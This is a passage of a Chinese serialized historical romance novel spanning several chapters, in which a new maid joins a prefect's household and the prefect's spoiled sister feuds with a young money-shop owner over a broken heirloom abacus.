吴怡尴尬一笑,“大小姐,我们做下人的自然不能跟他们富贵人家比,我们是长的差了点,但是干活利索啊!大小姐,我来推您吧,这样您荡的高还不费劲。”说着吴怡已经来到娉婷身后。 娉婷瞬间弹了起来,站在院子里,“你洗手了吗!就来碰我!” 吴怡愣住了,伸出双手,“我这手干净的,刚才还吃饭来的。” “连锁,你看你找的什么人,哪里来的野丫头!” “小姐,他是大人找来的,所以……” 娉婷瞪了一眼连锁,又白了一眼娉婷,说了句,“真是的,那你赶紧教教她。”然后转身进屋了。 连锁看着吴怡,“没事,别害怕,小姐就是这样的脾气,来,我带你洗手去,再给你讲讲这府里的规矩。” “好,有劳管家大人。” 连锁一边走一边介绍,“咱们徽州知府衙门,现在就是知府大人和小姐两位主子,那些在练武的是咱们大人带来的侍卫,我是大人的贴身管家,你呢,以后就专门伺候小姐,每月二两银子的月例……” 吴怡听见二两银子心里爽歪歪,别的说了什么已经听不见了。 “来,这里是厨房,你正好在这里洗手吧。热水在那。” 吴怡认认真真洗了一遍,举着两只湿漉漉的手嘿嘿一笑。连锁皱着眉,“洗呀,看着我干什么?” “我洗过了呀,你看,多干净!” “唉,真是一点规矩也不知道啊?我跟你说啊,以后伺候小姐也是,洗手要三遍水,水一遍比一遍要热,但是不能烫手,洗完了用专门的干毛巾擦,涂上专门的护手霜,别举起两只手对别人笑!” “啊?洗三遍手?还不洗脱撸皮了!” “禁声!”吴怡哪知道什么意思,一脸疑惑,“就是不能高声喧哗,有什么好大惊小怪的!刚才我给你说的,你都记住了吗?” “记住了,记住了。” “好,那正好,你在这里烧热水去泡好茶给小姐送去,记住,水要八分热,不能兑凉水,得等热水凉下来!还有啊,进小姐房间要通禀一声,别愣头愣脑就进去!” “好,我知道了,不能兑凉水,要通禀一声。” “恩,我前边还得招两个帮佣,你先在这熟悉熟悉。” 连锁走后,吴怡翻翻这翻翻那,怎么也找不到茶叶,只好到院子里问侍卫。“哈哈哈哈,茶叶当然在茶室了,你在厨房找什么?” 吴怡来到茶室,心想:好家伙,这么大的房间居然专门放茶具用的,比我曾经住过的最大的房间都大。吴怡冲进去,看看这摸摸那,觉得这徽州真是来对了。吴怡瘫在椅子上,拿着茶叶罐一顿猛闻,“香!” 第十四章 周娉婷大闹陈记钱庄 - 风吹繁花散落时 - 红酒羊排 吴怡自己享受完了,终于想起要给小姐上茶,恭恭敬敬站在门口通禀,“小姐,小姐,我给您送茶来了,小姐?” “别喊了,小姐出去了,这茶给我喝吧!”一个侍卫笑嘻嘻走了过来,“新来的?” “你好,我叫吴怡。” 所有侍卫都围了过来,“吴怡,谁的姨?” “哈哈哈哈,你的呗。” 大家七嘴八舌很快熟络起来,“你们渴了吧,我给你们一人倒杯茶吧,那茶可香了。” 这帮侍卫全是大户人家出来的,什么好茶没喝过,可如今来个小妹妹给倒茶自然乐呵呵同意,大家挤在茶室里,你一杯我一杯的。 “吴怡妹妹,你老家哪的呀?” “山东的,离这里很近的。” “嚯,山东人豪爽,怪不得呢,哪天带你出去喝酒啊。” “好呀,你可得说话算数!” “我们也去!” “去去去,谁要带你们。” “大家都去,都去热闹。” “还是吴怡妹妹好!” “你们呢?老家哪啊?” “我们都是京城来的。” “都是吗?大人和小姐也是?” “那是自然。” “京城很热闹吧!” “和这里差不多,京城大人多,这里商人多。” “你来徽州多久了?” “我今天刚来,人生地不熟,以后还靠各位兄弟照顾了。”吴怡一抱拳。 “没问题,有什么不懂的来找哥哥们,我们帮你。” “对呀,对呀。” “好,那先谢谢诸位了,我今天以茶代酒敬各位,等月例银子发了,我再请各位兄弟喝酒。” “吴怡妹妹真是痛快,好,好!” 正在吴怡与大家熟悉的时候,周娉婷带着两个侍卫来到陈记钱庄,“老头!”娉婷半倚在柜台上。 “呦,知府家大小姐,您今天是?” “哼,本小姐打听了,一两银子都能存。” “那您今天是要存钱?” “正是!”娉婷拍了两下手,两个侍卫抬着一大筐铜板走了进来。 “这些都存?” “不错!”娉婷就是来找麻烦的。 “好,小姐稍等,来,给小姐称重。” “哎,等等,你们不数数呀?” “不用,小姐,您看我们这杆称,秤砣有一两银子的、五两银子的还有十两银子的,您这一大筐,顶多顶多一百五十两,我们这有更大的称,秤砣是十两银子、五十两银子和一百两银子的重量,怎么样,您这点,我拿两个秤砣就能称出来。” 娉婷一听心虚起来,因为这正是她刚刚去钱记兑的一百五十两银子的铜板,刚把绳子都解开,“那我要是一百四十五两呢?” “没关系啊!我们有的是铜板,往里填,填到一百五十两,一减,不就是小姐您的钱了嘛。” “那我要是有假的呢?” “那不能!” “为什么?” “小姐想啊,您是谁呀,无人不知无人不晓的知府衙门大小姐,您要是跑到票号来用假铜板,我们当然不能拿小姐怎么样,顶多损失一百多两银子。可是这铜板呀,最容易流通,我们在京城也有票号生意,到时候我们往外一兑,嗬!我们可不敢保证它不会落到哪位大人手里啊,到时候查起来,那我们小老百姓的,只好从实招来了。” “你!”娉婷一甩手,“哼,那我一两一两存!” “好,得了您,来,拿出来给小姐开开眼。” 里边的伙计提出来一个木盒子,上边有一个漏斗,下边是十个圆柱体。“小姐,您可瞧好了。”称重老伯抓起一把铜板从上边漏斗往下漏,一个个铜板规规矩矩掉进圆柱体里,不一会儿,四个圆柱体装满了,“小姐,这就是一两银子的铜板,正好一千个,若是小姐觉得有疑问,您可以自己数数。” 娉婷真是大开眼界,又不好意思承认。此时,一人从外边走了进来,“怎么样?又来丢脸了?” 娉婷转头瞪了陈明阳一眼,一屁股坐在椅子上,双手交叉抱在胸前。 “来,给小姐把银子存上,做生意嘛,做谁不是做啊,哎,对了,给小姐一两银子一两银子的存,别在乎那些个木盒子啊,小银票的,叫伙计们都来,不就这点吗,手麻利点,很快的。” 娉婷刚要发作,柜上已经收好了第一个一百个铜板,大喊一声,“周家小姐,存银:一千个铜板!交付一两小银票一张!”喊完,伙计恭恭敬敬将一两小银票交给娉婷。其实这一两银票都是现成的,盖上掌柜的小章就生效了,极为便利。 娉婷觉得伙计喊的一千个铜板极为刺耳,居然还有人对她指指点点,尴尬到了极点,转身对陈明阳说到,“我告诉你,咱们没完!”说着冲出人群。 “哎,您的小银票。”陈明阳哪能就这么错过了这么大的乐子,探头看娉婷一路埋着头小跑起来。 “给他们!”娉婷头也不回,跑到知府衙门听见茶室欢声笑语,心里更烦了。 “你们干什么呢?” 侍卫门一听,立马都不言语了,都低着头不敢说话,吴怡本来正给大家讲笑话,已经坐在桌子上了,看见娉婷进来赶紧下来站好,“大,大小姐。那个,我给您倒杯茶!” “哼!”娉婷转身回了自己房间,将茶杯、桌子都砸了。 连锁好不容易招来两个帮佣,一个管做饭,一个当杂役,两人都看着敦厚老实,四十几岁的模样,连锁带着两人静悄悄去厨房和柴房,没人敢发出声音。 吴怡端着茶走进娉婷的房间,“大小姐?喝点茶吧?” 娉婷将茶杯整个摔在地上,“谁叫你进来的!你给出去!出去呀!” “大小姐,大小姐,你别气坏了身子,这,你应该让那个人生气才对呢,你怎么自己生起气来了。” 娉婷本来就是诚心想去找麻烦,如今被人家羞辱一番,这个野丫头还敢来教训自己,娉婷跺着脚往外一指,“滚!” “大小姐,我是好心……” 没等吴怡说完,娉婷已经开始往外推她了,“大小姐,我是说,哎,别推我呀……”吴怡被推出房门,正撞在周启怀里,娉婷还“蹦蹬”一声将门关上了。吴怡被周启和门夹着,难受得很,“大人,你回来了。” 周启稍微往后挪了一下,“你下去吧。” “好,那个大小姐还什么都没吃呢。”吴怡见周启面无表情,指指厨房,“我去给她拿点吃的。” “不用了,你回房休息去吧。” “那大小姐。” “你下去吧!” “哦,好,大人晚安!” 吴怡赶紧逃走,跑了两步转头看时,周启并没有进屋,而是背着手迈着方步离开了,吴怡不明所以,又不敢多问,更不可能再回去安慰什么大小姐,紧跑两步回自己的房间了。 这里虽然是下人住的偏房,却让吴怡十分满意,心想:李老四啊李老四,你想不到吧!你闺女吴怡现在堂堂正正住在知府衙门里,还有一间这么大这么漂亮的房间!不仅有床,还有柜子,还有桌椅!简直像做梦一样!吴怡抽了自己一个嘴巴,又使劲拧了自己一下,知道不是在做梦,越想越激动,竟然一夜未眠。 第十五章 吴怡展现糊涂本性 - 风吹繁花散落时 - 红酒羊排 天刚蒙蒙亮,徽州城门一开,一队人马就已进城,直奔钱家。 周启与娉婷坐起一起用早饭,吴怡见他们全都面无表情,平平静静,娉婷也一副什么也没发生过的样子。周启吃好便去府衙办公,娉婷却在餐桌前迟迟不走。 “你。”突然娉婷突然叫了一声吴怡。 “大小姐。” “你说,怎么样才能让一个人生气?” 吴怡还以为怎么了,要说让人生气,自己最在行了,“大小姐,这首先得看是什么人。” “仇人!” “仇人?大小姐的仇人一定很可恨吧!那报官呀,你们富贵人家多少都干点坏事,你知道他干过什么坏事,然后报官,最好用了,怎么也能给您五十两……不是,怎么也能出口气!” “切,还有吗?” “再不然就找他的仇家啊,敌人的敌人就是朋友嘛。” “还有吗?” “那就直接打他一顿!最解气了!” “可是他会武功啊。” “大小姐,打人哪有正面打的,都是躲在暗地里。”吴怡双手假装拿着棍子,用力在空气里一挥,“使劲打他一蒙棍!” “躲在暗地里……哈哈,这个好,哈哈,臭小子,敢惹本公主,叫你好看!” 吴怡心想,真是大小姐脾气,家里当公主一样养着,谁惹了她谁就是倒了八辈子血霉。 娉婷认为暗地里打陈明阳一蒙棍的办法最好,可是这事要让周启知道了可不得了,娉婷决定自己亲自动手。 此时的钱宁忧心忡忡,如果真像陈明阳通报的那样,张海一定有所行动,可是钱万全翻遍了全茶行也没有找出丝毫蛛丝马迹。 “爹,那个张海会不会只是想混水摸鱼,欺骗了陈伯伯呢?” “呵,你陈伯伯可不是那么好骗的呀。” “可我们如果不知道张海做了什么,只有任人宰割呀!对了,爹,钦差什么时候到呢?” “暗说这钦差应该比你早到才对,可是不知道为什么,从他进山东开始就一直没动静了。” “会不会已经来了,只是我们不知道呢?” “应该不会吧,又不是来查案,怎么会微服私访呢?况且若调查咱们茶庄,不亮明身份可不能进去啊。” “那就奇怪了,爹没托人打听打听吗?” “咱们钱记在山东也有生意,钦差到哪了,不可能没有一个铺子知道,怎么好像人间蒸发了一样呢?” 钱家父子疑惑满满的时候,三皇子正在发牢骚,“什么钦差!跑到山东喝酒还得了急症,现在连床都下不来了。舅舅,现在可是关键时刻,您能不能选个得力的人去!” “三皇子莫急,现在正值换季,加上水土不服,生病也是正常。” “水土不服?刚到山东就水土不服?到了徽州还准不定怎么样呢!” “您放心吧,我已经说服皇上换了一个人去,张海还在徽州呢,派谁去结果都是一样的。” “舅舅,钱家就真的一点也不愿意和我们合作吗?三成的供奉都不愿意要?况且,这次派员到徽州去查他们,他们也应该知道张海的厉害了,怎么还是食古不化?” “据张海说,钱家的当家人钱万全说会考虑,其实却一直推脱,什么准话也不给,如今马上就要选定朝廷供奉了,他这样让我们很被动,所以张海建议与陈记合作,直接弄掉钱家。” “弄掉钱家容易,陈记能顶上吗?” “张海说他看见陈家的茶园了,产量只多不少,足以取代钱家。” “那今年陈记怎么还倚靠在钱记名下,一起来争朝廷供奉呢?” “他说两家有协议,钱家与晋中张家交好,钱家说服张家让出西凉的部分市场,只要陈家将茶叶运到西凉去赚钱,便与钱家不在朝廷供奉上相争。” “那张家怎么能同意让出市场呢?” “这个张海还在查,不日就会给我们回话,不过他们怎么瓜分市场和我们无关,钱家一倒,陈家能迅速补上才是关键。” “哼,这个钱万全真是不识好歹!康庄大道不走,非要和我们作对!” “他首富当时间长了,就以为一个小小的商人能左右官场,哼,真是不自量力。” “既然他如此,那我们也不必客气!舅舅,徽州我们一定要拿下!如今五弟在外边踪迹全无,我们若不能在朝廷上站稳脚跟,等他回来,恐怕我又要去坐冷板凳了!” “徽州的事请三皇子放心,不过趁着五皇子不在,您一定要讨得皇上欢心,最少也要和五皇子平起平坐才行。” “这个我明白,您的人也要多查访,最好他永远都别回来。” 张海心情也不好,钦差不到自己的计划就无从施展,陈千朗也晾着自己,必需赶紧立个功稳定住三皇子的信任才行。 周启忙完了府衙事物回到书房,一进门看吴怡爬到了书架上边,拿着一个大鸡毛掸子扫啊扫的。 “你干嘛呢?” “啊,哎,大人你回来了!”吴怡艰难得回头,“嘿嘿,我打扫卫生呢。” “你赶紧下来!” “我还没掸完呢,不过也快了,大人,您先在外边等会,这里有土,别弄脏了您的衣服。” “你给我下来!” 吴怡见周启皱着眉,以为他担心自己,终于爬了下来,咧嘴一笑,“大人,没事,比这高的地方我都上去过,没事,嘿嘿……” “谁让你进来的!”周启双手背后,脸色阴沉。 “大小姐出去了,我想着也没事做,我就打扫打扫卫生。” “连锁!” 连锁应声走了进来,见吴怡在,惊得瞪大了眼睛,赶紧弯着腰恭恭敬敬站在周启旁边,“大人。” “你没有告诉她没有我的允许,谁都不能进书房吗?” “回大人,小的说了,昨天她一来小的就告诉她了。” “那她怎么进来的!” 周启提高了嗓门,连锁赶紧跪在地上,“大人,小的知罪了,请大人处罚。” 吴怡心想肯定是昨天光想着二两银子了,这重要的事情没听见,“哎哎哎,大人,不关总管的事,是我一时忘了,我不长记性!”吴怡自己抽了自己一个嘴巴,“都是我这个脑子不灵光,什么也记不住。”吴怡又双手攥拳打了自己脑袋两下,其实,抽嘴巴是真疼,打脑袋可是一分力都没用。 “都下去!” 两人赶紧桃之夭夭,“总管大人,我不是故意的,你别生气,要不你打我两下?” “你呀,长点心吧!” “哎哎哎,大人,您先别走,要不您再重新告诉我一边需要注意什么,我保证,这次我一定好好记,坚决不再犯错了。” “行,那你说说我昨天都说什么了?” “嗯……” 连锁双手叉腰,“合着你什么都没记住呗。” “嘿嘿。”吴怡尴尬一笑,“这不是脑子笨嘛,大人,只要您再告诉我一边,我保证,我今天就算晚上不睡觉也都背下来!” 连锁无奈了,不知道哪里来这么一位姑奶奶,可是自己若是不教她,明天她再闯祸可不是闹着玩的。 当天晚上吴怡躺在软和和的被子里一秒进入梦乡,第二天连锁来问他自己昨天说什么了,吴怡除了不能进书房剩下的又全忘记了,连锁这叫气呀,顺手抄起一个鸡毛掸子就要打吴怡,吴怡哪能挨打呢,满院子跑,侍卫门站在一旁咯咯笑起来,连锁跑累了,坐在廊下,上气不接下气,“你,你就,你就气死我算了你。” 娉婷通过昨天的观察,发现陈明阳的路径不过就是陈府和钱庄,昨晚娉婷找来一个顺手的木棍子,甚至在房间练好了动作,今天一早埋伏好了,就等着陈明阳过来吃她一棍。 娉婷站在拐角处偷偷观察,远远看见陈明阳往这边走了,难掩喜悦之情。娉婷按照昨天侍卫教导的双手握紧木棍,贴着墙站好,可是转眼看见一条大狗正蹲在她身后吐着舌头呼哧呼哧地看这她,娉婷举着木棍,“你别过来!” “汪汪汪……”狗已经站起来,呲着牙对她叫了起来,“呜,呜,汪汪汪……” 娉婷觉得两腿发软,“啊……”木棍从手里滑落,瘫坐在地上,“你别过来,救命啊!” 陈明阳正走过路口,听见有人喊救命,赶紧过来将狗赶走。“姑娘,姑娘,你没事吧!” “呜呜呜呜……”娉婷埋着头哭了起来。 “姑娘,没事了,狗已经跑了。” 娉婷抬起头,见陈明阳正弯腰看自己,太阳正从东方升起,金灿灿的光芒洒在陈明阳身上,娉婷哭得更加厉害了。 “嘿,我当是谁呢,别哭了,狗都跑了。” 娉婷依旧哭,陈明阳可不想等她哭完了再说,抬腿就要走,“哎,你别走啊!” “大小姐,我们生意人还得赶着去开门迎客呢。” “那我怎么办呀?”娉婷带着哭腔,还蹲在地上。 “你,你想干嘛就干嘛去呗,不干嘛就回家去呗。” “我站不起来了。” 陈明阳无奈地摇摇头,俯下身子将娉婷扶了起来,“嗯哼哈哈哈哈,不可一世的大小姐还怕狗。” “你肯定也有害怕的东西,我又没看见它在这。”娉婷被陈明阳扶着一瘸一拐往前走。 “那你在这干嘛呢?” 娉婷一下子站住,抿了抿嘴,“在这,在这等着打你一蒙棍。” 陈明阳松开了扶着娉婷的手,“哼,我,你……”陈明阳用手指了指自己又指了指娉婷,最后双手叉腰摇着头被气乐了,“哈哈,怪不得呢,瞧瞧,连狗都看不下去了。哼!” “哎哎哎,我,你别走啊,我不是没打你嘛,你等等我。”娉婷一瘸一拐跟在陈明阳身后,“哎,你等等我呀!” 第十六章 周娉婷打翻金算盘 - 风吹繁花散落时 - 红酒羊排 娉婷跟着陈明阳进了钱庄,“老头,给本小姐倒杯水。” 陈明阳本来已经要挑帘进去了,又转身来到娉婷身边,“周大小姐,你要是非得打我一蒙棍你可想好了,到时候我就将状子往知府衙门一递,咱们知府大人真就不管吗?” “我又没打你,我坐会,你赶紧叫你伙计给我倒杯茶!” “没茶。” “你别忘了,我可是在你们这里存了一百五十两银子的,我怎么也是你们客户,你怎么这么对待客户啊?” 陈明阳看着已经坐在椅子上的娉婷实在无奈了,“成成成,大小姐您坐,来,给大小姐上茶。”等伙计上了茶,陈明阳又问道,“怎么样?比你们知府衙门的茶叶如何?” “哼,不怎么样?” “你可看好了,这是上好的碧螺春,别人来我们还不拿出来呢。” “得了吧!就这?也就是去年剩下来的,如今明前茶都上市了,怎么,陈老板这么小气?” “呦,居然能尝出来是陈茶。得,周大小姐,我这就叫伙计给您换去。” “算了,算了,看在你今天救了本小姐,本小姐就不跟你计较了。”娉婷转眼看见摆在柜台上的“金算盘”,觉得很有趣,站起来过来要摸,“哎,别动!” “怎么了?” “这是老祖宗留下来的,是本店的财神,谢绝触碰。 “切”娉婷白了一眼陈明阳,假装往前走了两步迅速转身,一把拿起了“金算盘”,“嘿嘿!”说着转身就往外跑。 店里伙计都吓了一跳,这“金算盘”自打开店就在这,已经一百年了,从来没有被移动过。陈明阳没想到娉婷能抢“金算盘”,也是撒腿就追。 “哎呦!”娉婷刚跑出钱庄,一下子跌倒在地上。 “拿过来你!”陈明阳上来就抢,娉婷哪能松手,两人一夺“金算盘”分崩离析,算珠子滚落一地。 伙计们也都出来了,见镇店的“财神”被抢坏了,赶紧去捡算珠子。 “你,干什么你!”陈明阳也急了。 “我,我脚崴了。”娉婷疼得差点哭出来。 陈明阳和伙计们捡起算珠子,拿着已经烂掉的算盘,指着娉婷的鼻子,“你!”陈明阳的手气得发抖,“你别以为你是女的我就不敢打你啊!” “你敢?赶紧扶本小姐起来!” “你,你简直不知所谓!何伯!” “少东家。” “你去,把这位周大小姐的银子都退给她!我们陈记钱庄永远不做你周……你叫什么呀!” 娉婷自己从地上爬了起来,“本小姐行不更名坐不改姓,周娉婷是也!你想怎样?” “好,周娉婷,我们陈记永远不做你的买卖!何伯,你去把她的钱拿出来退给她!” “少东家!”徐掌柜走过来,“少东家使不得,我们不能挑客人啊。” “哼,就是,我是客人。再说了你们这个破算盘有什么好的!也是你非要抢,你要是不抢能坏吗!” “你!好好好,我真是脑袋被门挤了。周娉婷,你弄坏了我们店里的财神,你打算怎么办啊?”陈明阳见大家都围在这里看热闹实在不利于陈记的生意,已经极度克制了。 “什么财神?况且这破算盘根本就是你抢坏的!” “好,看来你是不打算解决了?那我们就去能解决的地方!徐掌柜,把咱们票号的讼师叫上,我们去知府衙门!我就不信,这光天化日朗朗乾坤,周知府能偏袒了你!走!”陈明阳一手拉住娉婷,一手拿着算盘往知府衙门走去。 两人拉拉扯扯来到知府衙门,登堂鼓后,周启升堂审案,只见妹妹被一个男人拉着,一瘸一拐走了进来,百姓将门口围了个水泄不通。 周启压住了火气,一拍惊堂木,“堂下何人?” 陈明阳跪在堂上,双手将状纸举过头顶,“大人,小民陈明阳,打理陈记钱庄,今状告民女周娉婷无辜打碎我店‘金算盘’,状纸在此,请大人过目。” 周启接过状纸,迅速看了一遍,这状子行笔流畅,有理有节,一看就是专门的讼师所写。娉婷站在堂上,见哥哥脸色越来越难看,撅着嘴又瞪了一眼跪在地上的陈明阳,心想:至于吗! “周娉婷,陈明阳告你无故打碎陈记钱庄百年镇店之宝‘金算盘’,可是真的?” “大人!小民于公堂之上是跪着向大人回事,被告周娉婷也并非朝廷命妇,理应下跪,难道周大小姐觉得自己是知府的妹妹就有所不同?” 公堂门口百姓指指点点,窃窃私语,娉婷现在不能亮出公主的身份,又见哥哥看着自己,明显不打算帮她,只好跪在陈明阳身边,瞪了他一眼,抿抿嘴说到,“大人,这破算盘是他自己弄坏的,不关我的事。” “哦?陈明阳?” “大人,这算盘原本好好的放在我们柜上一百年,从来没有人碰过,今天周娉婷去柜上说自己是客户要喝茶,小民可是用心招待,可是她毫无征兆抢了我们的‘金算盘’就往外跑,小民自然去追,这才坏了。可是大人,若不是周娉婷率先拿起了算盘,那怎么会坏呢!请大人明查!” “周娉婷?陈明阳所言是否属实啊?” “是我拿的不假,可是他要不抢就不会坏。” “陈明阳,若你胜诉,你需要周娉婷如何赔偿?” “大人,这算盘是手工制作的,请大人判周娉婷亲手制作一个一模一样的还给本店!” 周启听了,一拍惊堂木,“本府宣判:民女京城人氏周娉婷盗抢,损坏他人财物在前,拒不认罪在后,情节恶劣,现判周娉婷赔偿徽州徽城陈记钱庄手工制‘金算盘’一把,赔偿陈记钱庄经营损失,以去年今天的经营净额的十二分之一计算,并承担本次诉讼的所有费用。”周启再拍了一下惊堂木,“退堂!” “威武” “哎,哥,哥!”娉婷急了,站起来就要往后堂追,“哎,周娉婷,银子先拿来!算盘请您一个月内做好交给我们!” “哼!”娉婷知道再怎么闹哥哥也不会站在自己这边,更不能捞到什么好处,只能认栽。娉婷回房,再次将东西砸了一地。 吴怡和侍卫门站在墙角,“啧啧啧,这每天都这么砸,这得多少银子!要知道,昨天就别往里边放东西就好了。” 侍卫门面面相觑,现在这个时候谁会关心银子呢,别引火烧身才是正经事。 “咱们还是赶紧走吧,一会儿看见咱们,还不得吃瓜落啊!” “对对对,快走快走。” 侍卫门一哄而散,吴怡还蹲在墙角心疼银子,转眼看见书房的灯还亮着,门开着,里边却一点动静都没有。心想:这兄妹俩,面和心不和吗?那怎么还带着妹妹来任上?难道家里没有别人了,所以只能带着?吴怡这么想着,觉得他们竟比自己还可怜,毕竟自己还有一个爹,虽然不太靠谱,关键时候还是想着自己的,只是现在不知道李老四去哪了,这诺大的知府衙们李老四是没福气见了。 而此时的李老四正在陈家听‘金算盘’的闲话,原来这‘金算盘’是老太爷的爷爷亲手做的,这算盘珠子正是他老人家当年在当掌柜的时候用的算盘上拆下来的,外边渡了一层金,是陈记钱庄的镇店之物。李老四才不管什么镇店不镇店的,那一层金倒是更具吸引力。李老四心想:天天放在柜台上的算盘都是真金,虽然只有薄薄一层,但是如今自己就在陈家,这每天看见的东西很有可能是什么好玩意也说不定。李老四打定主意明天起,院子里的瓶瓶罐罐桌桌椅椅都要挨个瞧瞧,最好能咬上一口,若能找到一件金器,刮不下来也要尝尝金子的滋味,也算自己没白活。 天色渐晚,李老四偷偷溜到花园里东看看,西闻闻,好不快活。 周启在书房一直没出来,吴怡端着饭菜站在书房门口,探着身子小声叫到,“大人?”吴怡见周启抬头看着自己,举起了手中的饭菜,“大人,你饿了吧,我给你端过来了,李婶做了红烧肉,可香了。” “你怎么不长记性?” “所以我这不是没进来嘛,大人,我知道你生小姐的气,不过人是铁饭是钢,还是得吃点饭。” 周启低下头继续看书,“书房严禁饮食,连锁没有告诉你吗?” 吴怡根本记不住那么多严禁,想了一下,大脑一片空白,“呵呵,大人,那你出来吃吧,真的,可香了。” 周启抬眼看了吴怡一眼,见她咧着嘴笑着,端着饭好像捧着大元宝,态度终于缓和下来,“小姐吃了吗?” “小姐她根本不让人进屋,大人,要是你担心小姐,你就去看看她呗。” “她呀,就是被宠坏了。” “大人,您能出来吗?咱们这样隔着这么远,说话怪累的,我一直举着饭也挺累的。” 周启突然觉得肚子有点饿了,便出来坐在石阶上,一只脚踩着一级台阶吃起饭来。 吴怡蹲在旁边看着,“嘿,大人,我还以为你都是端端正正的,没想到会坐在地上吃饭。” “我小时候一直觉得天气炎热,坐在地上吃饭最舒服了,可是家里规矩多,每次坐在地上都要挨骂。” “嘿,骂就骂呗,又不会掉块肉。” 周启抬头看着吴怡,没心没肺的样子真好,可是他坐在地上就是会有人掉块肉,就因为他是嫡皇子,可眼前的这个女孩怎么会明白呢,正想着,吴怡突然指着天空大喊一声,“流星!快许愿,快许愿!”吴怡双手合十,郑重的许下心愿。 “你这上哪学的,对着它许愿它又听不见。” “嘿嘿,大人,我以前遇到一个洋人,他说他家在什么腊,反正就是很远的地方,他们那里有一个传说,说人死后就会变成天上的星星,所以对着星星许愿真能成真。” “你想你爹了吧?” 周启冷不丁说出这么一句,吴怡转头看着周启,也坐在台阶上,“才不想他呢!” 周启端着饭碗,看着吴怡,心头一酸,心想这个小丫头总是笑呵呵的,心里的苦也不会告诉别人。“你爹娘在天上会保佑你的。” 吴怡双手搭在膝盖上,头枕着胳膊,看着周启,心想李老四那个混蛋才不会保佑自己呢,娘也不知道在哪,可是脸上还是对周启笑了笑表示赞同,又想起周启兄妹俩很有可能是相依为命的孤儿,反倒同情起周启来,“大人,也会有人保佑你的。” 周启一愣,也笑了笑,两人相互看着对方,满天繁星又有一颗流星划过。 第十七章 周娉婷、陈明阳修复金算盘 - 风吹繁花散落时 - 红酒羊排 第二天娉婷还没有从房间出来,吴怡也没什么事情做就帮着打扫院子,正端着盆潲水呢,突然觉得手臂生疼,手上的盆差点掉在地上,一转身见娉婷正拿着鞭子要打自己第二下。 吴怡手疾眼快,将盆里的水都泼在娉婷胸前,盆也扔在地上转身就跑。 娉婷被泼了一盆水,更加生气,追着吴怡跑起来,“你这个野丫头,给我站住!来人呐,来人!” 侍卫门在屋里听见了动静,知道六公主必定要将气都撒在吴怡身上。大家商量了半天:若是出去,娉婷很有可能让他们拉着吴怡,那吴怡必死无疑,若是不出去吴怡还有救,现在得赶紧去找五皇子回来才能制住六公主,幸亏周启就在前堂办公。 吴怡不知道这个女人发什么疯,只能先逃命,可是院子就这么大,吴怡竟然跑进了自己的房间。娉婷气坏了,不知哪里来的力气,跟在吴怡身后将还没有关上的房门撞开了,“叫你跑,你这个死丫头!”娉婷再次举起鞭子要打,吴怡见没路了,猫着腰从娉婷的手臂下钻了出去。 房门口,周启正进来,吴怡一下子撞到周启的腰上,见是周启赶紧抓着他,“大人,大人,小姐疯了!”说着,吴怡已经躲在周启身后。 “叫你跑!”娉婷转过身来,刚举起鞭子,周启上前一步一把抓住娉婷举着鞭子的手,“你闹够了没有!” 娉婷甩开周启的手,“哥!你怎么总是帮着外人?我才是你亲妹妹!” “你把鞭子给我放下!” “我就是要打死这个野丫头!要不是她,我能受这么大委屈吗!” 吴怡躲在周启身后,还不知道自己怎么了,“大人,我什么也没干啊,大人救命啊!” “你还敢胡说!你给我过来,看我不打死你!”娉婷隔着周启还要打吴怡,吴怡一躲,周启隔在两人中间一把夺过鞭子,“周娉婷!你要是再胡闹,就给我回京城去!” 娉婷一愣,“哥!” “你什么时候才能明白自己的问题,没事就拿别人撒气!你看看你像什么样子!” “哼。”娉婷听哥哥教训自己哪里愿意,要不是不想回京城才不理他,娉婷越想越委屈,瞬间哭了出来,“哥,他们都欺负我,你还帮着他们!要不是爹娘都不在,我才不受这委屈呢,呜呜呜呜呜呜……”娉婷蹲在地上痛哭起来。 周启态度也稍微缓和,也蹲在娉婷身边,用手摸了摸娉婷的头,又抱着她拍了拍她的后背,轻声说道,“好了,别哭了,哥哥也是为你好,别哭了。” 吴怡站在一旁,心里五味杂陈,这对兄妹抱在一起哭的情景让吴怡想起了自己:不管多少次,她哭得再撕心裂肺,也从来没有一个人来安慰自己,每次她都是哭累了就自己站起来,拍拍屁股上的土,然后像一个傻瓜一样继续乐呵呵的生活。 幸亏连锁在旁边拉着吴怡离开,要不她的眼泪也要莫名其妙的留下来了。 “哥几个,今天多谢大家了,要不我都不知道会怎么样,还是那句话,发了月例银子,请大家喝酒。” 五一脸上挂着笑,好像发生了什么好事一样,侍卫门互相看了一眼,不好意思起来,“吴怡妹妹,你这样说我们真是无地自容,我们当时……我们……” “嘿,我知道,我们做下人的,哪能违背大小姐呢,你们没出来帮她还帮我通知了大人就是救了我吴怡一命!我吴怡这辈子记得大家对我的好。” “吴怡妹妹,我们也是身不由己,不过,你以后要是有什么事,不管我们谁,一定帮你!绝不会再让你受委屈的!” 吴怡心里一暖,看着这一帮两尺有余的大小伙子,心里突然美滋滋,笑着说到,“嘿嘿嘿,谢谢大家!我吴怡真是幸运,碰到大家。”吴怡双手一抱拳,“以后江湖上大家就都是朋友,我吴怡虽然没什么本事,只要大家用得上,吴怡在所不辞。” 此时的周启终于安抚好了娉婷,兄妹俩坐在一起吃晚餐,周启不自觉的用手擦了擦娉婷的脸颊,娉婷忽闪着两只丹凤眼,又嘟起嘴。 “你呀,别没事跟别人较劲,听见了吗?” “恩,哥,那你能帮我报仇吗?”娉婷端着饭碗可怜巴巴的样子。 “啧,你怎么回事?”周启差点又要生气了,但最终还是被气乐了,实在无可奈何地用手扶着额头,长出一口气,“成成成,明天你就去陈家去修那什么‘金算盘’,等你修好了,哥一定给他点颜色看看,成了吧。” “我真的要去啊?什么破算盘!我才不去呢!” “你必须去啊,本官都判决了,你要是不去,哥哥我可没办法治理徽州了,你必须去啊,你听见没有!” “听见了,陈明阳,哼,记住他了!” 此时的陈家父子气氛却不太融洽,陈明阳坐在椅子上摆弄‘金算盘’的算盘珠子,陈千朗在屋子里来回踱步,突然停下看着陈明阳,一下子坐在陈明阳身边,又一下子站了起来。 “爹,您能不能歇会!” “你说你呀!我早就告诉你,民不与官斗!你怎么就是不听!” “爹,那个周娉婷都欺负咱们头上来了,连老祖宗的东西都弄坏了!” “那也不能跟官家斗!”陈千朗双手背后,难得这么大声说话一回。“明天周小姐来了,你赶紧给人家赔礼道歉!” “我才不呢!您看她给弄的!” “哎呦,你就别再管什么算盘了,我们陈家真是要大祸临头了!” “她不就是个知府妹妹吗,不至于。” 